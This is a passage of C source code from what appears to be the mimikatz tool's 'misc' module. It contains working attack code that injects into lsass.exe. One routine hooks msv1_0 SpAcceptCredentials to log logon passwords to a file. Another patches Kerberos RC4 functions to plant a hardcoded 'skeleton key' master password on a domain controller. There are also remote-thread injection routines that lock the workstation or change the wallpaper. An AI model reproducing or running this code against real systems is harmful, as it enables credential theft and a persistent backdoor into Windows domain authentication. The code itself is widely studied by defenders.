{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-16, 15}},
};
#elif defined(_M_IX86)
BYTE INSTR_JMP[]= {0xe9}; // need 5
BYTE PTRN_WIN5_MSV1_0[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0xff, 0x75, 0x14, 0xff, 0x75, 0x10, 0xff, 0x75, 0x08, 0xe8};
BYTE PTRN_WI6X_MSV1_0[] = {0xff, 0x75, 0x14, 0xff, 0x75, 0x10, 0xff, 0x75, 0x08, 0xe8, 0x24, 0x00, 0x00, 0x00};
BYTE PTRN_WI80_MSV1_0[] = {0xff, 0x75, 0x08, 0x8b, 0x4d, 0x14, 0x8b, 0x55, 0x10, 0xe8};
BYTE PTRN_WI81_MSV1_0[] = {0xff, 0x75, 0x14, 0x8b, 0x55, 0x10, 0x8b, 0x4d, 0x08, 0xe8};
BYTE PTRN_W10_1703_MSV1_0[] = {0x8b, 0x55, 0x10, 0x8b, 0x4d, 0x08, 0x56, 0xff, 0x75, 0x14, 0xe8};
KULL_M_PATCH_GENERIC MSV1_0AcceptReferences[] = {
{KULL_M_WIN_MIN_BUILD_XP, {sizeof(PTRN_WIN5_MSV1_0), PTRN_WIN5_MSV1_0}, {0, NULL}, { 0, 5}},
{KULL_M_WIN_MIN_BUILD_VISTA,{sizeof(PTRN_WI6X_MSV1_0), PTRN_WI6X_MSV1_0}, {0, NULL}, {-41, 5}},
{KULL_M_WIN_MIN_BUILD_8, {sizeof(PTRN_WI80_MSV1_0), PTRN_WI80_MSV1_0}, {0, NULL}, {-43, 5}},
{KULL_M_WIN_MIN_BUILD_BLUE, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-39, 5}},
{KULL_M_WIN_BUILD_10_1703, {sizeof(PTRN_W10_1703_MSV1_0), PTRN_W10_1703_MSV1_0}, {0, NULL}, {-28, 15}},
};
#endif
PCWCHAR szMsvCrt = L"msvcrt.dll";
NTSTATUS kuhl_m_misc_memssp(int argc, wchar_t * argv[])
{
HANDLE hProcess;
DWORD processId;
KULL_M_MEMORY_ADDRESS aLsass, aLocal = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_SEARCH sSearch;
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iMSV;
PKULL_M_PATCH_GENERIC pGeneric;
REMOTE_EXT extensions[] = {
{szMsvCrt, "fopen", (PVOID) 0x4141414141414141, NULL},
{szMsvCrt, "fwprintf", (PVOID) 0x4242424242424242, NULL},
{szMsvCrt, "fclose", (PVOID) 0x4343434343434343, NULL},
{NULL, NULL, (PVOID) 0x4444444444444444, NULL},
};
MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions};
DWORD trampoSize;
if(kull_m_process_getProcessIdForName(L"lsass.exe", &processId))
{
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, processId))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aLsass.hMemory))
{
if(kull_m_process_getVeryBasicModuleInformationsForName(aLsass.hMemory, L"msv1_0.dll", &iMSV))
{
sSearch.kull_m_memoryRange.kull_m_memoryAdress = iMSV.DllBase;
sSearch.kull_m_memoryRange.size = iMSV.SizeOfImage;
if(pGeneric = kull_m_patch_getGenericFromBuild(MSV1_0AcceptReferences, ARRAYSIZE(MSV1_0AcceptReferences), MIMIKATZ_NT_BUILD_NUMBER))
{
aLocal.address = pGeneric->Search.Pattern;
if(kull_m_memory_search(&aLocal, pGeneric->Search.Length, &sSearch, TRUE))
{
trampoSize = pGeneric->Offsets.off1 + sizeof(INSTR_JMP) + sizeof(PVOID);
if(aLocal.address = LocalAlloc(LPTR, trampoSize))
{
sSearch.result = (PBYTE) sSearch.result + pGeneric->Offsets.off0;
aLsass.address = sSearch.result;
if(kull_m_memory_copy(&aLocal, &aLsass, pGeneric->Offsets.off1))
{
RtlCopyMemory((PBYTE) aLocal.address + pGeneric->Offsets.off1, INSTR_JMP, sizeof(INSTR_JMP));
if(kull_m_memory_alloc(&aLsass, trampoSize, PAGE_EXECUTE_READWRITE))
{
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
*(PVOID *)((PBYTE) aLocal.address + pGeneric->Offsets.off1 + sizeof(INSTR_JMP)) = (PBYTE) sSearch.result + pGeneric->Offsets.off1;
#elif defined(_M_IX86)
*(LONG *)((PBYTE) aLocal.address + pGeneric->Offsets.off1 + sizeof(INSTR_JMP)) = (PBYTE) sSearch.result - ((PBYTE) aLsass.address + sizeof(INSTR_JMP) + sizeof(LONG));
#endif
extensions[3].Pointer = aLsass.address;
if(kull_m_memory_copy(&aLsass, &aLocal, trampoSize))
{
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(aLsass.hMemory, misc_msv1_0_SpAcceptCredentials, (DWORD) ((PBYTE) misc_msv1_0_SpAcceptCredentials_end - (PBYTE) misc_msv1_0_SpAcceptCredentials), &extForCb, &aLsass))
{
RtlCopyMemory((PBYTE) aLocal.address, INSTR_JMP, sizeof(INSTR_JMP));
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
*(PVOID *)((PBYTE) aLocal.address + sizeof(INSTR_JMP)) = aLsass.address;
#elif defined(_M_IX86)
*(LONG *)((PBYTE) aLocal.address + sizeof(INSTR_JMP)) = (PBYTE) aLsass.address - ((PBYTE) sSearch.result + sizeof(INSTR_JMP) + sizeof(LONG));
#endif
aLsass.address = sSearch.result;
if(kull_m_memory_copy(&aLsass, &aLocal, pGeneric->Offsets.off1))
kprintf(L"Injected =)\n");
else PRINT_ERROR_AUTO(L"kull_m_memory_copy - Trampoline n0");
}
else PRINT_ERROR_AUTO(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace");
}
else PRINT_ERROR_AUTO(L"kull_m_memory_copy - Trampoline n1");
}
}
else PRINT_ERROR_AUTO(L"kull_m_memory_copy - real asm");
LocalFree(aLocal.address);
}
}
else PRINT_ERROR_AUTO(L"kull_m_memory_search");
}
}
kull_m_memory_close(aLsass.hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
else PRINT_ERROR_AUTO(L"kull_m_process_getProcessIdForName");
return STATUS_SUCCESS;
}
typedef PVOID (__cdecl * PMEMCPY) (__out_bcount_full_opt(_MaxCount) void * _Dst, __in_bcount_opt(_MaxCount) const void * _Src, __in size_t _MaxCount);
typedef HLOCAL (WINAPI * PLOCALALLOC) (__in UINT uFlags, __in SIZE_T uBytes);
typedef HLOCAL (WINAPI * PLOCALFREE) (__deref HLOCAL hMem);
#pragma optimize("", off)
NTSTATUS WINAPI kuhl_misc_skeleton_rc4_init(LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID * pContext)
{
NTSTATUS status = STATUS_INSUFFICIENT_RESOURCES;
PVOID origContext, kiwiContext;
DWORD kiwiKey[] = {0xca4fba60, 0x7a6c46dc, 0x81173c03, 0xf63dc094};
if(*pContext = ((PLOCALALLOC) 0x4a4a4a4a4a4a4a4a)(0, 32 + sizeof(PVOID)))
{
status = ((PKERB_ECRYPT_INITIALIZE) 0x4343434343434343)(Key, KeySize, KeyUsage, &origContext);
if(NT_SUCCESS(status))
{
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)((PBYTE) *pContext + 0, origContext, 16);
status = ((PKERB_ECRYPT_INITIALIZE) 0x4343434343434343)(kiwiKey, 16, KeyUsage, &kiwiContext);
if(NT_SUCCESS(status))
{
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)((PBYTE) *pContext + 16, kiwiContext, 16);
((PLOCALFREE) 0x4b4b4b4b4b4b4b4b)(kiwiContext);
}
*(LPCVOID *) ((PBYTE) *pContext + 32) = Key;
((PLOCALFREE) 0x4b4b4b4b4b4b4b4b)(origContext);
}
if(!NT_SUCCESS(status))
{
((PLOCALFREE) 0x4b4b4b4b4b4b4b4b)(*pContext);
*pContext = NULL;
}
}
return status;
}
NTSTATUS WINAPI kuhl_misc_skeleton_rc4_init_decrypt(PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD * OutputSize)
{
NTSTATUS status = STATUS_INSUFFICIENT_RESOURCES;
DWORD origOutputSize = *OutputSize, kiwiKey[] = {0xca4fba60, 0x7a6c46dc, 0x81173c03, 0xf63dc094};
PVOID buffer;
if(buffer = ((PLOCALALLOC) 0x4a4a4a4a4a4a4a4a)(0, DataSize))
{
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)(buffer, Data, DataSize);
status = ((PKERB_ECRYPT_DECRYPT) 0x4444444444444444)(pContext, buffer, DataSize, Output, OutputSize);
if(!NT_SUCCESS(status))
{
*OutputSize = origOutputSize;
status = ((PKERB_ECRYPT_DECRYPT) 0x4444444444444444)((PBYTE) pContext + 16, buffer, DataSize, Output, OutputSize);
if(NT_SUCCESS(status))
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)(*(PVOID *) ((PBYTE) pContext + 32), kiwiKey, 16);
}
((PLOCALFREE) 0x4b4b4b4b4b4b4b4b)(buffer);
}
return status;
}
DWORD kuhl_misc_skeleton_rc4_end(){return 'skel';}
#pragma optimize("", on)
wchar_t newerKey[] = L"Kerberos-Newer-Keys";
NTSTATUS kuhl_m_misc_skeleton(int argc, wchar_t * argv[])
{
BOOL success = FALSE;
PKERB_ECRYPT pCrypt;
DWORD processId;
HANDLE hProcess;
PBYTE localAddr, ptrValue = NULL;
KULL_M_MEMORY_ADDRESS aLsass, aLocal = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION cryptInfos;
KULL_M_MEMORY_SEARCH sMemory;
LSA_UNICODE_STRING orig;
REMOTE_EXT extensions[] = {
{L"kernel32.dll", "LocalAlloc", (PVOID) 0x4a4a4a4a4a4a4a4a, NULL},
{L"kernel32.dll", "LocalFree", (PVOID) 0x4b4b4b4b4b4b4b4b, NULL},
{L"ntdll.dll", "memcpy", (PVOID) 0x4c4c4c4c4c4c4c4c, NULL},
{NULL, NULL, (PVOID) 0x4343434343434343, NULL}, // Initialize
{NULL, NULL, (PVOID) 0x4444444444444444, NULL}, // Decrypt
};
MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions};
BOOL onlyRC4Stuff = (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_VISTA) || kull_m_string_args_byName(argc, argv, L"letaes", NULL, NULL);
RtlZeroMemory(&orig, sizeof(orig));
RtlInitUnicodeString(&orig, newerKey);
if(kull_m_process_getProcessIdForName(L"lsass.exe", &processId))
{
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, processId))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aLsass.hMemory))
{
if(!onlyRC4Stuff)
{
if(kull_m_process_getVeryBasicModuleInformationsForName(aLsass.hMemory, L"kdcsvc.dll", &cryptInfos))
{
aLocal.address = newerKey;
sMemory.kull_m_memoryRange.kull_m_memoryAdress = cryptInfos.DllBase;
sMemory.kull_m_memoryRange.size = cryptInfos.SizeOfImage;
if(kull_m_memory_search(&aLocal, sizeof(newerKey), &sMemory, TRUE))
{
kprintf(L"[KDC] data\n");
aLocal.address = &orig;
orig.Buffer = (PWSTR) sMemory.result;
if(kull_m_memory_search(&aLocal, sizeof(orig), &sMemory, TRUE))
{
kprintf(L"[KDC] struct\n", sMemory.result);
RtlZeroMemory(&orig, sizeof(orig));
aLsass.address = sMemory.result;
if(success = kull_m_memory_copy(&aLsass, &aLocal, sizeof(orig)))
kprintf(L"[KDC] keys patch OK\n");
}
else PRINT_ERROR(L"Second pattern not found\n");
}
else PRINT_ERROR(L"First pattern not found\n");
}
else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
}
if(success || onlyRC4Stuff)
{
if(kull_m_process_getVeryBasicModuleInformationsForName(aLsass.hMemory, L"cryptdll.dll", &cryptInfos))
{
localAddr = (PBYTE) GetModuleHandle(L"cryptdll.dll");
if(NT_SUCCESS(CDLocateCSystem(KERB_ETYPE_RC4_HMAC_NT, &pCrypt)))
{
extensions[3].Pointer = (PBYTE) cryptInfos.DllBase.address + ((PBYTE) pCrypt->Initialize - localAddr);
extensions[4].Pointer = (PBYTE) cryptInfos.DllBase.address + ((PBYTE) pCrypt->Decrypt - localAddr);
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(aLsass.hMemory, kuhl_misc_skeleton_rc4_init, (DWORD) ((PBYTE) kuhl_misc_skeleton_rc4_end - (PBYTE) kuhl_misc_skeleton_rc4_init), &extForCb, &aLsass))
{
kprintf(L"[RC4] functions\n");
ptrValue = (PBYTE) aLsass.address;
aLocal.address = &ptrValue;
aLsass.address = (PBYTE) cryptInfos.DllBase.address + ((PBYTE) pCrypt - localAddr) + FIELD_OFFSET(KERB_ECRYPT, Initialize);
if(kull_m_memory_copy(&aLsass, &aLocal, sizeof(PVOID)))
{
kprintf(L"[RC4] init patch OK\n");
ptrValue += (PBYTE) kuhl_misc_skeleton_rc4_init_decrypt - (PBYTE) kuhl_misc_skeleton_rc4_init;
aLsass.address = (PBYTE) cryptInfos.DllBase.address + ((PBYTE) pCrypt - localAddr) + FIELD_OFFSET(KERB_ECRYPT, Decrypt);
if(kull_m_memory_copy(&aLsass, &aLocal, sizeof(PVOID)))
kprintf(L"[RC4] decrypt patch OK\n");
}
}
else PRINT_ERROR(L"Unable to create remote functions\n");
}
}
else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
}
kull_m_memory_close(aLsass.hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_compress(int argc, wchar_t * argv[])
{
LPCWSTR szInput, szOutput;
PVOID pInput, pOutput;
DWORD dwInput, dwOutput;
#pragma warning(push)
#pragma warning(disable:4996)
if(kull_m_string_args_byName(argc, argv, L"input", &szInput, _wpgmptr))
#pragma warning(pop)
{
if(kull_m_string_args_byName(argc, argv, L"output", &szOutput, MIMIKATZ L"_" MIMIKATZ_ARCH L".compressed"))
{
kprintf(L"Input : %s\nOutput: %s\n\nOpening: ", szInput, szOutput);
if(kull_m_file_readData(szInput, (PBYTE *) &pInput, &dwInput))
{
kprintf(L"OK\n");
kprintf(L" * Original size : %u\n", dwInput);
if(kull_m_memory_quick_compress(pInput, dwInput, &pOutput, &dwOutput))
{
kprintf(L" * Compressed size: %u (%.2f%%)\n", dwOutput, 100 * ((float) dwOutput / (float) dwInput));
kprintf(L"Writing: ");
if(kull_m_file_writeData(szOutput, pOutput, dwOutput))
kprintf(L"OK\n");
else PRINT_ERROR_AUTO(L"kull_m_file_writeData");
LocalFree(pOutput);
}
}
else PRINT_ERROR_AUTO(L"kull_m_file_readData");
}
else PRINT_ERROR(L"An /output:file is needed\n");
}
else PRINT_ERROR(L"An /input:file is needed\n");
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_lock(int argc, wchar_t * argv[])
{
PCWCHAR process;
UNICODE_STRING uProcess;
kull_m_string_args_byName(argc, argv, L"process", &process, L"explorer.exe");
RtlInitUnicodeString(&uProcess, process);
kprintf(L"Proxy process : %wZ\n", &uProcess);
kull_m_process_getProcessInformation(kuhl_m_misc_lock_callback, &uProcess);
return STATUS_SUCCESS;
}
BOOL CALLBACK kuhl_m_misc_lock_callback(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg)
{
DWORD pid;
if(RtlEqualUnicodeString(&pSystemProcessInformation->ImageName, &((PKIWI_WP_DATA) pvArg)->process, TRUE))
{
pid = PtrToUlong(pSystemProcessInformation->UniqueProcessId);
kprintf(L"> Found %wZ with PID %u : ", &pSystemProcessInformation->ImageName, pid);
kuhl_m_misc_lock_for_pid(pid, ((PKIWI_WP_DATA) pvArg)->wp);
}
return TRUE;
}
#pragma optimize("", off)
DWORD WINAPI kuhl_m_misc_lock_thread(PREMOTE_LIB_DATA lpParameter)
{
lpParameter->output.outputStatus = STATUS_SUCCESS;
if(!((PLOCKWORKSTATION) 0x4141414141414141)())
lpParameter->output.outputStatus = ((PGETLASTERROR) 0x4242424242424242)();
return STATUS_SUCCESS;
}
DWORD kuhl_m_misc_lock_thread_end(){return 'stlo';}
#pragma optimize("", on)
void kuhl_m_misc_lock_for_pid(DWORD pid, PCWCHAR wp)
{
REMOTE_EXT extensions[] = {
{L"user32.dll", "LockWorkStation", (PVOID) 0x4141414141414141, NULL},
{L"kernel32.dll", "GetLastError", (PVOID) 0x4242424242424242, NULL},
};
MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions};
HANDLE hProcess;
PKULL_M_MEMORY_HANDLE hMemory = NULL;
KULL_M_MEMORY_ADDRESS aRemoteFunc;
PREMOTE_LIB_INPUT_DATA iData;
REMOTE_LIB_OUTPUT_DATA oData;
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, pid))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemory))
{
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(hMemory, kuhl_m_misc_lock_thread, (DWORD) ((PBYTE) kuhl_m_misc_lock_thread_end - (PBYTE) kuhl_m_misc_lock_thread), &extForCb, &aRemoteFunc))
{
if(iData = kull_m_remotelib_CreateInput(NULL, 0, 0, NULL))
{
if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData))
{
if(oData.outputStatus)
kprintf(L"error %u\n", oData.outputStatus);
else
kprintf(L"OK!\n");
}
else PRINT_ERROR_AUTO(L"kull_m_remotelib_create");
LocalFree(iData);
}
kull_m_memory_free(&aRemoteFunc);
}
else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n");
kull_m_memory_close(hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
NTSTATUS kuhl_m_misc_wp(int argc, wchar_t * argv[])
{
KIWI_WP_DATA data;
PCWCHAR process;
if(kull_m_string_args_byName(argc, argv, L"file", &data.wp, NULL))
{
kull_m_string_args_byName(argc, argv, L"process", &process, L"explorer.exe");
RtlInitUnicodeString(&data.process, process);
kprintf(L"Wallpaper file: %s\n", data.wp);
kprintf(L"Proxy process : %wZ\n", &data.process);
kull_m_process_getProcessInformation(kuhl_m_misc_wp_callback, &data);
}
else PRINT_ERROR(L"file argument is needed\n");
return STATUS_SUCCESS;
}
BOOL CALLBACK kuhl_m_misc_wp_callback(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg)
{
DWORD pid;
if(RtlEqualUnicodeString(&pSystemProcessInformation->ImageName, &((PKIWI_WP_DATA) pvArg)->process, TRUE))
{
pid = PtrToUlong(pSystemProcessInformation->UniqueProcessId);
kprintf(L"> Found %wZ with PID %u : ", &pSystemProcessInformation->ImageName, pid);
kuhl_m_misc_wp_for_pid(pid, ((PKIWI_WP_DATA) pvArg)->wp);
}
return TRUE;
}
#pragma optimize("", off)
DWORD WINAPI kuhl_m_misc_wp_thread(PREMOTE_LIB_DATA lpParameter)
{
lpParameter->output.outputStatus = STATUS_SUCCESS;
if(!((PSYSTEMPARAMETERSINFOW) 0x4141414141414141)(SPI_SETDESKWALLPAPER, 0, lpParameter->input.inputData, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE))
lpParameter->output.outputStatus = ((PGETLASTERROR) 0x4242424242424242)();
return STATUS_SUCCESS;
}
DWORD kuhl_m_misc_wp_thread_end(){return 'stwp';}
#pragma optimize("", on)
void kuhl_m_misc_wp_for_pid(DWORD pid, PCWCHAR wp)
{
REMOTE_EXT extensions[] = {
{L"user32.dll", "SystemParametersInfoW", (PVOID) 0x4141414141414141, NULL},
{L"kernel32.dll", "GetLastError", (PVOID) 0x4242424242424242, NULL},
};
MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions};
HANDLE hProcess;
PKULL_M_MEMORY_HANDLE hMemory = NULL;
KULL_M_MEMORY_ADDRESS aRemoteFunc;
PREMOTE_LIB_INPUT_DATA iData;
REMOTE_LIB_OUTPUT_DATA oData;
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, pid))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemory))
{
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(hMemory, kuhl_m_misc_wp_thread, (DWORD) ((PBYTE) kuhl_m_misc_wp_thread_end - (PBYTE) kuhl_m_misc_wp_thread), &extForCb, &aRemoteFunc))
{
if(iData = kull_m_remotelib_CreateInput(NULL, 0, (lstrlenW(wp) + 1) * sizeof(wchar_t), wp))
{
if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData))
{
if(oData.outputStatus)
kprintf(L"error %u\n", oData.outputStatus);
else
kprintf(L"OK!\n");
}
else PRINT_ERROR_AUTO(L"kull_m_remotelib_create");
LocalFree(iData);
}
kull_m_memory_free(&aRemoteFunc);
}
else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n");
kull_m_memory_close(hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
NTSTATUS kuhl_m_misc_mflt(int argc, wchar_t * argv[])
{
PFILTER_AGGREGATE_BASIC_INFORMATION info, info2;
DWORD szNeeded;// = 0;
HANDLE hDevice;
HRESULT res;
res = FilterFindFirst(FilterAggregateBasicInformation, NULL, 0, &szNeeded, &hDevice);
if(res == HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER))
{
if(info = (PFILTER_AGGREGATE_BASIC_INFORMATION) LocalAlloc(LPTR, szNeeded))
{
res = FilterFindFirst(FilterAggregateBasicInformation, info, szNeeded, &szNeeded, &hDevice);
if(res == S_OK)
{
kuhl_m_misc_mflt_display(info);
do
{
res = FilterFindNext(hDevice, FilterAggregateBasicInformation, NULL, 0, &szNeeded);
if(res == HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER))
{
if(info2 = (PFILTER_AGGREGATE_BASIC_INFORMATION) LocalAlloc(LPTR, szNeeded))
{
res = FilterFindNext(hDevice, FilterAggregateBasicInformation, info2, szNeeded, &szNeeded);
if(res == S_OK)
kuhl_m_misc_mflt_display(info2);
else PRINT_ERROR(L"FilterFindNext(data): 0x%08x\n", res);
LocalFree(info2);
}
}
else if(res != HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) PRINT_ERROR(L"FilterFindNext(size): 0x%08x\n", res);
}
while(res == S_OK);
}
else PRINT_ERROR(L"FilterFindFirst(data): 0x%08x\n", res);
LocalFree(info);
}
}
else if(res != HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) (L"FilterFindFirst(size): 0x%08x\n", res);
return STATUS_SUCCESS;
}
void kuhl_m_misc_mflt_display(PFILTER_AGGREGATE_BASIC_INFORMATION info)
{
DWORD offset;
do
{
switch(info->Flags)
{
case FLTFL_AGGREGATE_INFO_IS_MINIFILTER:
kprintf(L"%u %u %10.*s %.*s\n",
info->Type.MiniFilter.FrameID, info->Type.MiniFilter.NumberOfInstances,
info->Type.MiniFilter.FilterAltitudeLength / sizeof(wchar_t), (PBYTE) info + info->Type.MiniFilter.FilterAltitudeBufferOffset,
info->Type.MiniFilter.FilterNameLength / sizeof(wchar_t), (PBYTE) info + info->Type.MiniFilter.FilterNameBufferOffset
);
break;
case FLTFL_AGGREGATE_INFO_IS_LEGACYFILTER:
kprintf(L"--- LEGACY --- %.*s\n", info->Type.LegacyFilter.FilterNameLength / sizeof(wchar_t), (PBYTE) info + info->Type.LegacyFilter.FilterNameBufferOffset);
break;
default: